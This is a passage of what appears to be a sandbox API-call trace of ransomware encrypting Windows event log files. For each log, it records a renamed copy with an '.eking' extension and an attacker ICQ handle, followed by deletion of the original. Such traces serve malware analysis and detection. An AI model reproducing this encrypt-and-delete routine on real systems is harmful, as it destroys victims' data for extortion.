lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0220.105] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x132, lpOverlapped=0x0) returned 1 [0220.105] CloseHandle (hObject=0x370) returned 1 [0220.106] CloseHandle (hObject=0x348) returned 1 [0220.530] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 1 [0220.532] SetEvent (hEvent=0x2b8) returned 1 [0220.533] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0220.533] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0220.534] CloseHandle (hObject=0x348) returned 1 [0220.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20 [0220.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20 [0220.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0220.534] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0220.534] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0220.534] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0220.534] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x364 [0220.535] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0220.540] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0220.542] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x132, lpOverlapped=0x0) returned 1 [0220.543] CloseHandle (hObject=0x348) returned 1 [0220.543] CloseHandle (hObject=0x364) returned 1 [0220.546] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 1 [0220.548] SetEvent (hEvent=0x2b8) returned 1 [0220.548] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0220.549] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0220.549] CloseHandle (hObject=0x364) returned 1 [0220.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20 [0220.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20 [0220.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0220.549] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0220.549] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0220.549] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0220.549] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x348 [0220.550] ReadFile (in: hFile=0x364, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0220.555] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0220.558] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0220.558] CloseHandle (hObject=0x364) returned 1 [0220.559] CloseHandle (hObject=0x348) returned 1 [0220.573] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 1 [0220.575] SetEvent (hEvent=0x2b8) returned 1 [0220.576] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0220.576] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0220.576] CloseHandle (hObject=0x348) returned 1 [0220.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20 [0220.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20 [0220.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0220.888] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0220.889] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0220.890] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0220.890] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x364 [0220.895] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0220.922] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0220.925] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x152, lpOverlapped=0x0) returned 1 [0220.925] CloseHandle (hObject=0x348) returned 1 [0220.925] CloseHandle (hObject=0x364) returned 1 [0220.928] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 1 [0220.930] SetEvent (hEvent=0x2b8) returned 1 [0220.930] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0220.931] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0220.931] CloseHandle (hObject=0x364) returned 1 [0220.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20 [0220.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20 [0220.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0220.931] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0220.931] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0220.932] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0220.932] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x348 [0220.937] ReadFile (in: hFile=0x364, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0220.944] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0220.947] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x152, lpOverlapped=0x0) returned 1 [0220.948] CloseHandle (hObject=0x364) returned 1 [0220.948] CloseHandle (hObject=0x348) returned 1 [0220.951] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 1 [0220.953] SetEvent (hEvent=0x2b8) returned 1 [0220.953] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0220.953] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0220.953] CloseHandle (hObject=0x348) returned 1 [0220.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20 [0220.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20 [0220.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0220.954] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0220.954] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0220.954] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0220.954] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x364 [0220.955] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0221.239] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0221.242] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x132, lpOverlapped=0x0) returned 1 [0221.242] CloseHandle (hObject=0x348) returned 1 [0221.243] CloseHandle (hObject=0x364) returned 1 [0221.249] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 1 [0221.251] SetEvent (hEvent=0x2b8) returned 1 [0221.256] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0221.256] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0221.256] CloseHandle (hObject=0x364) returned 1 [0221.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20 [0221.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20 [0221.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0221.257] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0221.257] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0221.257] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0221.257] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x348 [0221.257] ReadFile (in: hFile=0x364, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0221.262] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0221.282] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x132, lpOverlapped=0x0) returned 1 [0221.282] CloseHandle (hObject=0x364) returned 1 [0221.282] CloseHandle (hObject=0x348) returned 1 [0221.909] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 1 [0221.911] SetEvent (hEvent=0x2b8) returned 1 [0221.913] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0221.914] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0221.914] CloseHandle (hObject=0x348) returned 1 [0221.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20 [0221.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20 [0221.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0221.914] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0221.914] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0221.914] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0221.914] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x370 [0221.915] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0221.920] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0221.923] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0221.923] CloseHandle (hObject=0x348) returned 1 [0221.923] CloseHandle (hObject=0x370) returned 1 [0221.926] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 1 [0221.928] SetEvent (hEvent=0x2b8) returned 1 [0221.928] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0221.928] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2166784) returned 1 [0221.928] CloseHandle (hObject=0x370) returned 1 [0221.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20 [0221.928] MoveFileW (lpExistingFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0221.929] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: 